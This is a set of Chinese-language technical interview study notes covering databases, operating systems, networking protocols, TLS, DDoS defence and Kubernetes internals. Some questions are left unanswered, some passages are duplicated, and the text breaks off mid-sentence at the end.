+在分布式数据库中,确保事务一致性通常更为复杂。对于这个问题,我通常使用两阶段提交(2PC)来确保跨多个节点的事务一致性。另外,依赖于数据库的隔离级别,使用乐观锁或悲观锁策略也可以帮助管理并发控制。 + +> 对于一个新的应用,会如何决定使用SQL还是NoSQL数据库?并给出理由。 + +这主要取决于应用的数据访问模式和数据模型需求。如果数据有复杂的关系并且需要ACID事务,我会选择关系型数据库如MySQL或PostgreSQL。如果数据访问是键值或文档型,需要水平扩展或快速的读写操作,我可能会选择NoSQL如Redis、MongoDB或Cassandra。通常,我还会考虑查询的复杂性、数据模型的灵活性、团队的熟悉度以及其他非功能性要求,如可靠性和可扩展性,来做出决策。 + + +## 计算机系统结构: + +> 请解释RISC和CISC架构的区别,并说明各自的优缺点。 + + +> 描述乱序执行是如何提高处理器性能的。 + +> 请解释什么是内存层次结构,并描述L1、L2和L3缓存的作用。 + +## 操作系统内核: + +> 描述进程和线程的区别以及它们的通信方式。 + +定义:进程是一个执行中的程序实例,它有自己独立的内存空间、系统资源和地址空间。每个进程都运行在其自己的内存空间内,这意味着一个进程不能直接访问另一个进程的变量和数据结构。 +隔离:由于每个进程在独立的地址空间中运行,所以它们之间互不干扰,这为进程提供了强大的隔离特性。 +创建和终止:创建和终止进程相对较为耗时,因为需要为进程分配和回收资源。 +开销:由于每个进程有自己的完整执行环境和资源,所以相比于线程,进程的开销较大。 + +定义:线程是进程内部的执行单元。所有的线程共享该进程的内存空间和系统资源。这意味着在同一进程内的线程可以直接访问相同的变量和数据结构。 +隔离:尽管线程共享相同的地址空间,但它们仍然像独立的执行流一样运行,并具有自己的程序计数器、栈和寄存器。 +创建和终止:相比于进程,创建和终止线程要更快,因为线程共享了进程的执行环境。 +开销:由于线程共享相同的执行环境,它们的开销要小于进程 + +定义:线程是进程内部的执行单元。所有的线程共享该进程的内存空间和系统资源。这意味着在同一进程内的线程可以直接访问相同的变量和数据结构。 +隔离:尽管线程共享相同的地址空间,但它们仍然像独立的执行流一样运行,并具有自己的程序计数器、栈和寄存器。 +创建和终止:相比于进程,创建和终止线程要更快,因为线程共享了进程的执行环境。 +开销:由于线程共享相同的执行环境,它们的开销要小于进程 + +> 解释死锁是什么,以及如何预防和避免死锁。 + +多个进程无限的循环等待下去。 +互斥 +请求被阻塞,但是该请求拥有的资源不被释放。 +不可剥夺该请求的资源。 +循环等待。 + +> 什么是虚拟内存?如何实现虚拟内存?和页面置换算法的工作原理是什么? + +虚拟内存是计算机系统内存管理的一种技术。它允许程序认为它们拥有比物理RAM更多的连续内存。它的基本思想是将程序的地址空间分隔为一系列的“页面”,只有当程序访问某一页面时,这个页面才被加载到物理RAM中。虚拟内存允许程序的大小超过物理RAM,同时还可以更高效地使用RAM,因为不常用的页面可以被移出RAM。 + +实现虚拟内存的机制主要包括: + +分页(Paging):物理内存被分割为固定大小的页帧,而逻辑内存(虚拟内存)被分为与页帧大小相同的页。当程序需要一个页时,操作系统会将该页加载到一个空闲的页帧中。 + +页表(Page Table):页表用于跟踪虚拟页面在物理RAM中的位置。每个进程都有自己的页表。 + +TLB (Translation Lookaside Buffer):因为频繁地访问页表可能会很慢,所以有一个快速的硬件缓存叫做TLB,用来存储最近访问的页表条目。 + +页错误(Page Fault):当程序尝试访问的页面不在物理RAM中时,会发生页错误。此时,操作系统需要找到一个空闲的页帧,将所需的页从磁盘加载到RAM,并更新页表。 + + +页面置换算法决定当发生页错误时,应该从RAM中替换出哪个页面。以下是一些常见的页面置换算法: + +FIFO(First-In-First-Out):最早进入RAM的页面将首先被替换出去。 + +LRU (Least Recently Used):最近最少使用的页面将被替换出去。这基于一个观察:如果一个页面在过去没有被频繁使用,那么在未来也可能不会被频繁使用。 + +OPT (Optimal):将要被替换的页面是未来最长时间内不会被访问的页面。这是理论上的最佳算法,但在实际情况中难以实现,因为它需要未来的知识。 + +随机置换:随机选择一个页面进行替换。 + + +## 网络 + +> 描述TCP和UDP的区别,以及在什么情境下会选择使用哪一个。 + +TCP (Transmission Control Protocol): +是一种面向连接的协议,这意味着通信设备之间需要建立连接才能传输数据。 +提供可靠的数据传输,确保数据包按顺序到达并检查是否有错误。 +使用流量控制和拥塞控制。 +通常用于需要高可靠性的应用,如Web浏览、文件传输等。 + +UDP (User Datagram Protocol): +是一种无连接的协议,数据包被独立发送,不需要建立连接。 +不保证数据包的到达或顺序。 +传输速度可能比TCP更快,因为没有确认机制。 +通常用于流媒体、在线游戏或VoIP等应用,其中速度比可靠性更重要。 +选择情境:如果的应用需要高可靠性和数据完整性,例如在线银行或电子邮件,那么应该选择TCP。如果速度和实时性更重要,例如在线游戏或实时音频/视频流,那么UDP可能是更好的选择。 + +> 解释什么是NAT (Network Address Translation)以及它为什么是必要的。 + +NAT允许一个IP地址代表整个网络中的多个IP地址。其基本思想是当来自内部网络的数据包通过路由器或防火墙传递到互联网时,源地址会被改变为路由器或防火墙的外部IP地址。反之亦然。这样,内部网络上的许多设备可以共享单个公共IP地址。 + +为什么NAT是必要的: + +IP地址短缺:由于IPv4地址数量的限制,NAT有助于缓解IPv4地址短缺的问题,允许多个设备共享单个公共IP地址。 +安全性:NAT提供了一定程度的安全性,因为内部地址被隐藏,外部网络不能直接访问内部网络上的设备。 +易于管理:组织可以使用私有IP地址范围为内部网络分配地址,而无需考虑全球IP地址的分配。 + +> 请描述OSI模型的七个层次及其各自的职责。 + +物理层 (Physical Layer): 负责比特流的传输,定义了电压、时钟频率等物理规范。 +数据链路层 (Data Link Layer): 负责帧的传输,处理错误检测和物理地址ing。 +网络层 (Network Layer): 负责数据包的传输和路由选择。 +传输层 (Transport Layer): 提供端到端的通信服务,如TCP和UDP。 +会话层 (Session Layer): 负责建立、维护和终止会话。 +表示层 (Presentation Layer): 处理数据的编码和解码,如加密和压缩。 +应用层 (Application Layer): 提供为应用程序准备的网络服务。 + + +> 什么是三次握手和四次挥手? + +三次握手: + +三次握手是TCP协议中建立连接的过程。其步骤如下: + +SYN:客户端向服务器发送一个SYN(同步)包,表示客户端希望建立连接。这个包中包含一个随机的序列号A。 + +SYN+ACK:服务器收到SYN包后,回应一个SYN+ACK包。这个包中包含一个新的随机序列号B以及确认号,确认号的值为A+1,表示服务器已经接收到客户端的SYN包。 + +ACK:客户端收到服务器的SYN+ACK包后,再发送一个ACK(确认)包。这个包的序列号为A+1,并且确认号为B+1。 + +解决网络中存在的旧的重复分组问题: + +假设使用两次握手。如果存在一个旧的连接请求突然到达了服务器,而这个请求来自于之前的连接。服务器可能会误认为客户端正在尝试建立新的连接,从而建立了一个不必要的连接,这会浪费资源。 +三次握手的设计可以确保旧的连接请求不会被误解为新的连接请求。因为除非客户端再次确认,否则服务器不会建立连接。 + +完全的双向通信: +三次握手确保了双方都有能力发送和接收信息。在第三次握手时,客户端确认了它接收到了服务器的回应。这样,双方都确保了自己和对方都能正常地发送和接收信息。 + +防止SYN洪水攻击: +如果使用两次握手,攻击者可以通过发送大量伪造的SYN包来消耗服务器资源,因为服务器会立即为每个请求分配资源。而在三次握手中,服务器在接收到SYN包后,只是返回一个SYN-ACK包并等待客户端的确认,不会立即分配大量资源。这为服务器提供了一层额外的保护。 + +更可靠的连接建立: +三次握手确保了连接的可靠性。只有当双方都确认了连接请求后,连接才会建立。这避免了因为丢包或其他网络问题导致的连接失败。 + + +在这三次交换完成后,TCP连接就被成功建立,数据传输可以开始。 + +四次挥手: + +四次挥手是TCP协议中终止连接的过程。其步骤如下: + +FIN:当数据传输完成,发送方发送一个FIN包,表示数据已经发送完毕。 + +ACK:接收方收到FIN包后,发送一个ACK包作为回应,表示已经收到FIN包。 + +FIN:接收方随后也发送一个FIN包,表示它已经准备好关闭连接。 + +ACK:发送方收到这个FIN包后,再回应一个ACK包,确认已经收到。 + +这四步完成后,双方都关闭了连接。 + +> 解释ARP协议的工作原理。 + +ARP(Address Resolution Protocol)是一种解析IP地址到MAC地址的协议。当一个设备想要知道某个IP地址对应的MAC地址时,它就会使用ARP。 + + +工作流程如下: + +设备A想要知道IP地址X对应的MAC地址。 + +设备A在本地网络广播一个ARP请求,询问谁拥有IP地址X。 + +拥有IP地址X的设备B接收到这个ARP请求后,回应一个ARP响应,告诉设备A它的MAC地址。 + +设备A接收到这个响应后,就知道了IP地址X对应的MAC地址,并将这个映射保存在其ARP缓存中,以供将来使用 + +> 描述TCP的拥塞控制策略。 + +TCP的拥塞控制策略: + +TCP使用了几种策略来控制网络的拥塞,主要包括: + +慢启动(Slow Start):当连接开始时,发送方的窗口大小从1开始,并且每接收到一个ACK,它会加倍。这样,窗口大小会呈指数增长,直到达到一个阈值或者出现丢包。 + +拥塞避免(Congestion Avoidance):当窗口大小达到阈值后,增长速度会放缓,每接收到一个ACK,窗口只增加一个分段大小。如果发生丢包,阈值会被设置为当前窗口的一半,并进入慢启动。 + +快重传与快恢复(Fast Retransmit & Fast Recovery):当发送方连续收到三个重复的ACK时,它会立刻重传可能丢失的包,而不是等待超时。同时,阈值会被设置为当前窗口的一半,但窗口大小不减半,而是从阈值开始。 + +> 为什么需要NAT?它如何工作? + +NAT (Network Address Translation) 主要是因为IPv4地址的数量有限,但是需要联网的设备数量在增长,这导致了地址短缺。NAT允许私有IP地址的设备通过一个公共IP地址与外部网络进行通信。 + +工作原理: + +内部设备想要与外部网络通信时,它的数据包会经过NAT设备。 +NAT设备将这个数据包的源地址(私有IP)和端口替换为它自己的公共IP和一个特定的端口。 +当响应返回时,NAT设备会根据之前的映射将数据包的目标IP和端口替换为原始的内部设备的IP和端口。 + +> 什么是CIDR,它是如何帮助缓解IPv4地址短缺的? + +CIDR (Classless Inter-Domain Routing) 是一个替代传统的IP地址分类方法的系统。它使用一个“斜杠”表示法,如192.168.1.0/24,其中/24表示前24位是网络前缀。 + +描述负载均衡的工作原理和其在现代网络中的重要性。 + +> 什么是CDN?它如何优化内容分发? + +CDN:CDN(Content Delivery Network)是一个分布式的服务器网络,其目的是将内容更快、更高效地分发给用户。CDN允许用户的请求重定向到最近的边缘服务器,而不是原始主服务器,从而减少延迟和数据传输时间。 + +优化内容分发: + +地理分布:CDN由多个位于全球不同地理位置的边缘服务器组成。当用户发出请求时,他们会被重定向到离他们最近的服务器,从而提供快速的响应时间。 + +内容缓存:边缘服务器缓存来自原始服务器的内容。当多个用户请求相同的内容时,它会直接从边缘服务器提供,而不是每次从原始服务器获取。 + +负载均衡:CDN可以自动管理流量,将用户请求分散到多个服务器,从而防止任何单一服务器过载。 + +减少内容传送距离:减少用户到服务器的物理距离可以大大提高加载速度。 + +安全和DDoS防护:许多CDN提供额外的安全功能,例如防止DDoS攻击。 + +> 如何设计一个高可用性的网络架构? + + +> 描述防火墙的功能和类型。 + +功能: +数据包过滤:检查传入和传出的数据包,根据预先定义的规则(例如源/目标IP、端口号、协议类型等)决定是否允许数据包通过。 +应用层过滤:检查数据是否来自允许的应用程序或服务。 +状态检查:监控会话状态,并根据这些状态允许或拒绝数据包。 +VPN支持:允许远程用户安全地连接到内部网络。 +入侵检测和预防:识别和拦截恶意行为和已知的攻击模式。 + +类型: +硬件防火墙:通常作为一个独立的设备部署,位于网络的边界,用于保护内部网络免受外部威胁。 +软件防火墙:安装在个人计算机或服务器上,用于控制进入和离开该特定设备的流量。 +状态完整防火墙:它们不仅基于规则进行过滤,而且还考虑之前的网络连接状态。 +代理防火墙:它们在两个网络之间充当中介,可以检查并过滤所有通过的数据。 +下一代防火墙:这些防火墙可以识别和过滤基于特定应用或服务的流量,还具有深度数据包检查功能。 + +> 什么是SSL/TLS,为什么它对网站安全性很重要? + +SSL (Secure Sockets Layer) 和 TLS (Transport Layer Security) 是加密协议,它们为互联网上的数据传输提供了安全性和数据完整性。它们确保从用户到服务器(或反之)的数据传输是加密和私密的。 + +SSL (Secure Sockets Layer) 和 TLS (Transport Layer Security) 是加密协议,它们为互联网上的数据传输提供了安全性和数据完整性。它们确保从用户到服务器(或反之)的数据传输是加密和私密的。 + +为什么它对网站安全性很重要? + +数据加密:SSL/TLS确保在用户和服务器之间传输的所有数据都是加密的,这意味着中间人(即那些试图拦截传输的人)不能轻易读取或修改数据。 + +数据完整性:它确保数据在传输过程中不会被篡改。 + +身份验证:通过使用SSL/TLS证书,用户可以确认他们正在与预期的服务器通信,而不是与恶意的中间人。 + +信任和可靠性:许多用户寻找浏览器地址栏中的绿色锁图标或“https”前缀,作为他们正在访问的网站是安全的信号。 + + + +> 如何防止DDoS攻击? + +流量分析:定期监控和分析网络流量,以识别和应对异常流量模式。 + +增加带宽:有时,增加带宽可以帮助网站吸收突然增加的流量,尽管这不是一个长期的解决方案。 + +内容分发网络 (CDN):使用CDN可以分散流量,使攻击者更难针对单一的服务器。 + +Web应用防火墙 (WAF):WAF可以识别和拦截恶意流量,从而保护后端服务器。 + +流量清洗:使用专门的解决方案或服务来“清洗”流量,以确保只有合法的请求到达目标。 + +多重路由:使用多个互联网服务提供商和多路径路由,以减少单点故障的风险。 + +黑名单和速率限制:基于IP地址或其他属性设置黑名单或速率限制,以阻止或限制恶意流量。 + +协调与互联网服务提供商:在攻击时,与ISP协调,他们可能有更好的资源和能力来帮助抵御或减轻攻击。 + +应急计划:拥有一个预先定义的应对DDoS攻击的策略,确保所有关键团队成员知道在攻击期间如何行动。 + +> 描述HTTP和HTTPS的主要区别。 + +- HTTPS=HTTP+(TLS/SSL) +- HTTPs 在 443 端口 +- Https 需要先向 CA 申请证书 +- HTTP 的响应速度更快 +- HTTP 在 80 端口 +- HTTP 明文传输 + + +> 什么是DNS?为什么它对互联网如此重要? + +DNS 是 域名系统(Domain Name System) 的缩写。它是互联网的一种服务,负责将人类可读的域名(例如www.example.com)转换为机器可读的IP地址(例如192.168.1.1)。这是因为,虽然我们用域名来访问网站,但计算机和其他网络设备使用IP地址来标识和通信。 + +以下是为什么DNS对互联网如此重要的原因: + +人性化的访问方式:DNS允许用户使用容易记忆的域名,而不是需要记忆复杂的数字IP地址来访问网站。 + +动态性:网站的IP地址可能会更改,但其域名保持不变。DNS确保即使IP地址发生变化,用户也可以通过同一个域名访问网站。 + +分布式数据库:DNS是一个全球分布的系统,可以为全球用户提供及时、准确的域名解析服务。 + +负载均衡:大型网站可能在多个服务器上托管,DNS可以根据需要将请求路由到不同的服务器,实现负载均衡。 + +安全性:新的DNS技术,如DNSSEC(DNS安全扩展),提供了额外的安全性,以防止各种攻击,如DNS缓存投毒。 + +邮件服务:DNS还负责存储邮件交换记录(MX记录),这些记录指示电子邮件应该被发送到哪个服务器。 + +其他记录类型:除了基本的A(地址)记录和MX记录,DNS还支持许多其他类型的记录,如CNAME(规范名称)、TXT(文本记录)等,用于各种应用。 + +> 描述一个Web浏览器在输入URL后发生的完整过程。 + +当在Web浏览器中输入URL并按下Enter键后,将发生一系列复杂的操作。下面描述了这个过程,并强调了涉及的关键计算机网络知识: + +域名解析: + +浏览器首先检查本地缓存,看是否之前已经解析过这个域名。 +如果没有,操作系统会检查本地的hosts文件。 +如果仍未找到,浏览器会发起一个到配置的DNS服务器的请求来解析这个域名。 +DNS解析的过程可能涉及多个DNS服务器之间的查询,直到获得域名对应的IP地址。 +关键知识:DNS查询、域名、IP地址。 + +建立TCP连接: +使用得到的IP地址,浏览器尝试与服务器建立一个TCP连接,这通常通过三次握手完成。 +关键知识:TCP三次握手、传输层、TCP与UDP。 + + +发送HTTP请求: +一旦TCP连接建立,浏览器会通过这个连接发送一个HTTP请求到服务器。这个请求包含所需资源的路径、浏览器信息、优先的内容类型等。 +关键知识:HTTP协议、请求方法(如GET, POST)。 + +处理HTTPS(如果是的话): +如果URL是一个HTTPS地址,那么还会涉及到TLS/SSL握手的过程来建立一个加密的连接。 +关键知识:TLS/SSL握手、公钥、私钥、数字证书。 + +```shell +客户端Hello: +浏览器(客户端)向服务器发送一个"Hello"消息,包含其支持的TLS版本、加密套件列表(按优先级排序)以及一个随机生成的客户端随机数(Client Random)。 + +服务器Hello: +服务器选择一个浏览器支持的TLS版本和一个加密套件,然后发送一个"Hello"消息回浏览器,其中包含一个随机生成的服务器随机数(Server Random)。 + +服务器证书: +服务器将其数字证书发送给浏览器。这个证书包含了服务器的公钥和由一个受信任的证书颁发机构(CA)签名的证书信息。 + +浏览器验证数字证书:确保证书是由受信任的CA签名的、证书是否已经过期、证书的主题是否匹配服务器的域名等。 + +密钥交换: +浏览器生成一个新的随机数,称为"Pre-Master Secret"。它使用服务器的公钥加密这个随机数,然后将其发送给服务器。 +服务器使用自己的私钥解密浏览器发来的信息,从而得到"Pre-Master Secret"。 + +会话密钥生成: +一旦双方都有了"Pre-Master Secret"和两个随机数(Client Random和Server Random),它们就可以生成相同的会话密钥。 +这个会话密钥用于加密和解密接下来的通信数据。 + +完成握手: +浏览器和服务器都发送一个“Finished”消息,这时使用的是上一步生成的会话密钥来加密的。 +一旦双方确认对方已经成功地生成了会话密钥并完成了握手,加密的会话就开始了。 + +通过上述过程,即使中间人截获了通信,他们也无法解密数据,因为只有服务器和浏览器知道用于加密数据的会话密钥。这种加密机制确保了数据的机密性和完整性,防止了中间人攻击。 +``` + +服务器处理请求并响应: +服务器接收到HTTP请求后,将处理这个请求(可能涉及后端代码执行、数据库查询等),然后发送一个HTTP响应回浏览器。 +关键知识:服务器状态码(如200 OK, 404 Not Found)。 + +浏览器渲染页面: +浏览器接收到HTTP响应后开始解析HTML,CSS和JavaScript,然后渲染页面。 +这个过程中,浏览器可能还需要发送额外的HTTP请求来获取图像、视频、CSS文件、JavaScript文件等资源。 +关键知识:HTML, CSS, JavaScript。 + +关闭TCP连接: +页面加载完成后,浏览器和服务器可能会结束TCP连接。如果使用的是HTTP/1.1,并且设置了keep-alive,连接可能会保持开放,以备后续请求。 +关键知识:TCP四次挥手、持久连接。 + + +> 如何使用traceroute和ping工具进行网络故障排查? + +如果ping本地的IP地址(通常称为本地回环地址,对于IPv4来说是127.0.0.1,有时候也简称为localhost),以下事情会发生: + +快速响应: 因为数据包在本地系统中循环,它不需要经过任何外部网络或物理设备。因此,响应时间通常非常短,通常只有几毫秒。 + +不涉及物理网络设备: 该数据包不会通过的网络卡或任何其他网络设备。它仅仅在的操作系统内部循环。 + +故障排除: ping本地IP地址或localhost是网络故障排除的一个常见步骤。如果无法ping通其他系统,但可以ping通localhost,那么这表示的网络堆栈是工作的,问题可能出在其他地方。 + +不仅仅是IPv4: 对于IPv6,本地回环地址是::1。 + +总之,ping本地IP地址可以验证的系统的网络堆栈是否正常工作,而不涉及任何外部因素。 + +> 什么是MTU,为什么它对网络性能有影响? + + + +## Kubernetes + +在Kubernetes中,当一个请求被发起,它将经过多个组件并与之交互。以下是从请求开始到结束的主要Kubernetes组件及其职责: + +1. **用户或客户端** + - 发起请求:使用`kubectl`命令行工具、API调用或其他客户端工具发起请求。 + +2. **API Server** + - 认证与授权:确保请求来自合法用户,并确认他们有权执行请求的操作。 + - API接入点:接收和处理所有的Kubernetes API请求。 + - 数据验证:确保请求的数据格式和内容是正确的。 + +3. **etcd** + - 数据存储:持久化地存储Kubernetes集群的所有配置数据。当API server需要获取或存储状态信息时,它会与etcd交互。 + +4. **Controller Manager** + - 控制循环:持续确保系统的当前状态与期望状态相匹配。例如,如果一个Pod失败了,ReplicaSet控制器将确保重新创建Pod来满足预期的副本数量。 + +5. **Scheduler** + - 资源调度:决定将哪个Pod放在哪个Node上运行,基于资源需求、策略、亲和性规则等因素。 + +6. **Kubelet** + - Node代理:运行在每个Node上,确保容器运行在Pod中。 + - Pod生命周期:根据API Server的指示,创建、修改或删除Pod。 + +7. **Kube Proxy** + - 网络代理:运行在每个Node上,维护网络规则以实现Pod之间和集群外部的网络通信。 + +8. **Container Runtime** + - 容器操作:负责在机器上启动和管理容器,如Docker、containerd等。 + +9. **Ingress Controllers和Resources** + - 流量路由:处理从集群外部来的请求,并根据定义的Ingress资源规则将其路由到相应的服务。 + +10. **Service** + - 服务发现和负载均衡:提供一个固定的端点(IP地址和端口号)供其他Pod访问,不论背后的Pod如何变化。 + +当请求完全处理完毕,响应会通过相应的组件回传给用户或客户端。 + + +Kubernetes的`Service`是一种抽象,它定义了访问Pod的方法,无论背后的Pod实例如何变化。Service实现了两个主要功能:为Pod组提供一个固定的IP地址,并提供负载均衡以分配到这些Pod的请求。以下是Service如何实现这些功能的详细说明: + +1. **提供固定的IP地址** + + 当创建一个Service时,Kubernetes的控制平面会为Service分配一个固定的虚拟IP地址,这个IP称为Cluster IP(对于`ClusterIP`类型的Service)。这个IP不直接绑定到任何节点或Pod上,而是由kube-proxy进程在每个节点上使用iptable规则或ipvs进行管理,从而使得这个IP可以在整个集群内部使用。 + +2. **负载均衡和请求分发** + + 当到达Service的请求在一个节点上被kube-proxy进程捕获时,kube-proxy会负责将请求转发到后端的Pod之一。kube-proxy知道所有满足Service选择器标签的Pod,并使用以下策略之一进行负载均衡: + + - **轮询**(默认方式):每次请求都会转发到后端Pod列表中的下一个Pod。 + - **Session Affinity**:基于客户端IP的会话亲和性。这意味着来自同一客户端IP的所有请求都会转发到同一个Pod,直到该Pod失效或被删除。 + - **ipvs**:当kube-proxy配置为使用ipvs模式时,ipvs提供了更多的负载均衡算法,如最少连接、最短期望延迟等。 + + 为了实现上述行为,kube-proxy会在节点上设置网络规则(例如,使用iptables或ipvs)。这些规则将指导到达Cluster IP的流量转发到一个后端的Pod。 + +除了上述`ClusterIP`类型的Service,Kubernetes还支持其他类型的Service,如`NodePort`(为Service在每个节点的一个特定端口上提供一个外部可访问的IP地址)和`LoadBalancer`(使用云提供商的负载均衡器为Service提供一个外部可访问的IP地址)。 + +总之,Kubernetes Service通过控制平面为Pod组提供了一个固定的IP,并使用kube-proxy在每个节点上进行负载均衡和请求分发。 + +是的,`kube-proxy`通过与Kubernetes API服务器交互知道满足Service选择器标签的所有Pod。这是`kube-proxy`如何工作的简化描述: + +1. **监听Kubernetes API**: + + 当`kube-proxy`启动时,它会监听Kubernetes API。它订阅了`Service`和`Endpoints`资源的变化。这意味着,每当`Service`或与其关联的`Endpoints`发生变化时,`kube-proxy`都会得到通知。 + +2. **维护内部表**: + + 基于从Kubernetes API接收的信息,`kube-proxy`维护了一个内部的表,记录`Service`的`ClusterIP`、`Port`和与该`Service`关联的`Endpoints`。 + +3. **配置转发规则**: + + 根据其内部表,`kube-proxy`配置转发规则(通常使用`iptables`或`ipvs`,具体取决于其运行模式)以确保到达`Service`的`ClusterIP`和`Port`的流量被正确地转发到一个合适的Pod(即一个`Endpoint`)。 + +4. **更新规则**: + + 如果`Service`或其关联的`Endpoints`发生变化(例如,Pod死亡或新Pod启动并匹配Service的选择器),`kube-proxy`会相应地更新其转发规则。 + +因此,通过监听Kubernetes API的`Service`和`Endpoints`资源变化并维护和更新转发规则,`kube-proxy`确保了流量可以从`Service`的`ClusterIP`正确地转发到满足Service选择器标签的Pod。 + + +是的,确切地说,`kube-proxy`会解析与`Service`相关联的`Endpoints`对象来获得Pod的IP地址。当创建一个`Service`时,Kubernetes会自动创建一个与之相关联的`Endpoints`对象。这个`Endpoints`对象包含了匹配`Service`选择器标签的所有Pod的IP地址。 + +例如,如果有一个`Service`定义如下: + +```yaml +apiVersion: v1 +kind: Service +metadata: + name: my-service +spec: + selector: + app: MyApp + ports: + - protocol: TCP + port: 80 + targetPort: 8080 +``` + +并且有两个Pod,标签`app=MyApp`,IP分别为`10.0.1.1`和`10.0.1.2`。 + +在这种情况下,与此`Service`关联的`Endpoints`对象可能看起来像这样: + +```yaml +apiVersion: v1 +kind: Endpoints +metadata: + name: my-service +subsets: + - addresses: + - ip: 10.0.1.1 + - ip: 10.0.1.2 + ports: + - port: 8080 + protocol: TCP +``` + +`kube-proxy`会监听这些`Endpoints`对象的变化,从中获取Pod的IP地址,并据此更新其内部转发规则(例如,使用`iptables`或`ipvs`规则),从而确保到达`Service`的流量能正确地转发到对应的Pod。 + + +`Endpoints`下Pod的IP地址是由Kubernetes的控制平面组件中的`kube-controller-manager`的`Endpoints controller`得到并设置的。下面是这个过程的简要说明: + +1. **Pod创建**:当有一个新的Pod与一个Service的选择器匹配时,例如,Pod带有标签`app=MyApp`,这个Pod被创建并开始运行。 + +2. **监视Pod**:`Endpoints controller`(在`kube-controller-manager`中运行)持续地监视所有Pod的状态和标签。 + +3. **选择器匹配**:当`Endpoints controller`发现一个新的Pod或一个现有Pod的状态发生变化时,它会检查所有的`Service`对象,看哪些Service的选择器与Pod的标签匹配。 + +4. **更新Endpoints对象**:对于匹配的Service,`Endpoints controller`会更新与该Service相关联的`Endpoints`对象。如果是一个新的Pod,它的IP会被添加到`Endpoints`中。如果是一个被删除或不再匹配的Pod,它的IP会从`Endpoints`中删除。 + +5. **kube-proxy同步**:`kube-proxy`会持续地监听`Endpoints`对象的变化。一旦`Endpoints`对象更新,`kube-proxy` + + +> 在Kubernetes中,确定把一个请求发送给哪个Service是基于一系列的规则和配置来实现的。以下是这个过程的详解: + +1. **Service和其Cluster IP**: + 当创建一个Service时,该Service会被分配一个所谓的`Cluster IP`。这是一个虚拟的IP,不直接绑定到任何物理节点上。这个IP和Service的名字在Kubernetes的内部DNS中进行了映射,由CoreDNS或kube-dns提供。 + +2. **DNS解析**: + 当在集群内部的一个Pod尝试访问一个Service时,通常使用Service的DNS名(例如`my-service.my-namespace.svc.cluster.local`)。这个DNS查询会返回Service的Cluster IP。 + +3. **请求转发到Cluster IP**: + Pod发出的请求首先会转发到Service的Cluster IP。 + +4. **kube-proxy的作用**: + 在每个节点上运行的`kube-proxy`组件会监听Service和Endpoints的变化。对于每个Service,`kube-proxy`设置了Iptables/Nftables规则(或者使用IPVS模式),使得发往Cluster IP的流量被正确地转发到后端Pod之一。 + +5. **选择后端Pod**: + 一旦流量到达了Cluster IP,基于`kube-proxy`设置的规则,流量会被转发到后端Pod之一。默认的负载均衡策略是轮询,但是如果使用IPVS,可以选择其他的负载均衡算法。 + +6. **负载均衡器或Ingress**: + 如果在外部访问集群中的Service,可能会使用LoadBalancer类型的Service或者Ingress资源。这些组件会有自己的方法来确定流量应该被发送到哪个Service。例如,LoadBalancer Service可能有一个外部IP或DNS名,而Ingress则基于HTTP请求的路径或主机头来路由流量。 + +简而言之,Kubernetes使用了Service的Cluster IP,结合`kube-proxy`设置的网络规则,来确定 + + +> 查看某个Pod的日志是一个很常见的操作,特别是当需要调试应用时。以下是Kubernetes中查看Pod日志的流程,以及在该流程中涉及到的各个组件: + +kubectl命令行工具: +用户使用`kubectl logs `命令来请求查看特定Pod的日志。 + +API Server: +kubectl工具与API Server进行通信。当执行上述命令时,它实际上是向API Server发起了一个HTTP请求来获取指定Pod的日志。 +API Server会验证请求是否有权查看Pod的日志。这涉及到RBAC(Role-Based Access Control)或其他安全机制。 +验证通过后,API Server会路由该请求到相应的Node,也就是Pod所在的Node。 + +Kubelet: +位于Pod所在的Node的Kubelet收到API Server的请求后,它会与Node上的容器运行时(例如Docker或containerd)通信,请求Pod的日志。 +Kubelet获取到日志后,会将它们返回给API Server。 + +```shell +kubelet与容器运行时(例如Docker或containerd)的通信是通过Container Runtime Interface (CRI) 实现的。CRI是Kubernetes引入的一个插件接口,它允许kubelet与多种不同的容器运行时进行交互,而不仅仅是Docker。 + +Container Runtime Interface (CRI): CRI是一个协议,定义了容器运行时应该实现的gRPC API。CRI包括两部分:一个是运行Pod和容器的RuntimeService,另一个是管理镜像的ImageService。 + +CRI shim layers: 由于Docker和containerd等原生的容器运行时不直接实现CRI,因此需要一个"shim"层来转换CRI调用。例如,对于Docker,dockershim是在kubelet内部实现的,用于转换kubelet的CRI调用为Docker API调用。而对于containerd,containerd提供了一个称为cri-containerd的CRI插件,用于实现CRI与containerd之间的转换。 + +通信过程: + +当kubelet需要与容器运行时交互,例如启动或停止容器,它会使用CRI调用。 +这些CRI调用会由相应的CRI shim层(如dockershim或cri-containerd)接收,并转换为特定容器运行时的API调用。 +容器运行时(例如Docker或containerd)执行这些API调用,并返回结果。 +CRI shim层将结果转换为CRI响应并返回给kubelet。 + +日志的特例: 当涉及到获取容器日志时,kubelet并不通过CRI直接获取日志内容。相反,kubelet知道容器的日志路径,并直接从文件系统读取日志。但是,确定日志文件路径的机制与容器运行时的具体实现有关,并可能依赖于CRI shim层提供的信息。 + +总结:Kubernetes通过CRI为kubelet提供了与多种容器运行时交互的能力,允许灵活地选择并更换容器技术,而无需对kubelet进行重大更改。 + +``` + +API Server: +API Server接收到来自Kubelet的日志数据后,它会将这些日志数据发送回给发起请求的客户端,即kubectl。 + +kubectl命令行工具: +kubectl接收到日志数据并将其显示给用户。 + +在整个流程中,主要涉及的组件有: +kubectl:命令行工具,用于与Kubernetes集群交互。 +API Server:Kubernetes的控制平面组件,用于处理来自各种客户端的请求。 +Kubelet:运行在每个Node上的代理,管理容器运行时和与API Server的通信。 +容器运行时:如Docker或containerd,用于运行容器并管理容器的生命周期,包括存储和提供容器日志。 +这个流程为我们提供了一个Pod的日志,使得用户可以轻松地检查和调试他们的应用。 + +> etcd在Kubernetes中的作用: + +etcd是一个强一致性的分布式键值存储系统,它在Kubernetes中起到了极其重要的作用: + +集群的真实状态: Kubernetes用etcd来保存整个集群的状态。这包括pods、services、configmaps、secrets、roles、replicaset、statefulset等所有K8s对象的配置和状态。 + +服务发现: Kubernetes组件(如kube-apiserver、kube-scheduler和kube-controller-manager)使用etcd来发现和协调它们的操作。 + +存储配置数据: ConfigMaps和Secrets等配置数据都存储在etcd中,提供了一个中央位置来管理配置数据。 + +etcd的数据一致性的重要性: + +系统的可靠性: 如果etcd的数据不一致,那么Kubernetes可能会部署错误的pod配置,将流量路由到不存在的服务,或者其他未预期的行为。一致性确保集群状态在所有etcd实例之间是相同的。 + +事务性: etcd支持原子操作,这意味着在集群中对资源的更改是原子的,要么完全成功,要么完全失败,不会处于中间状态。 + +避免脑裂: 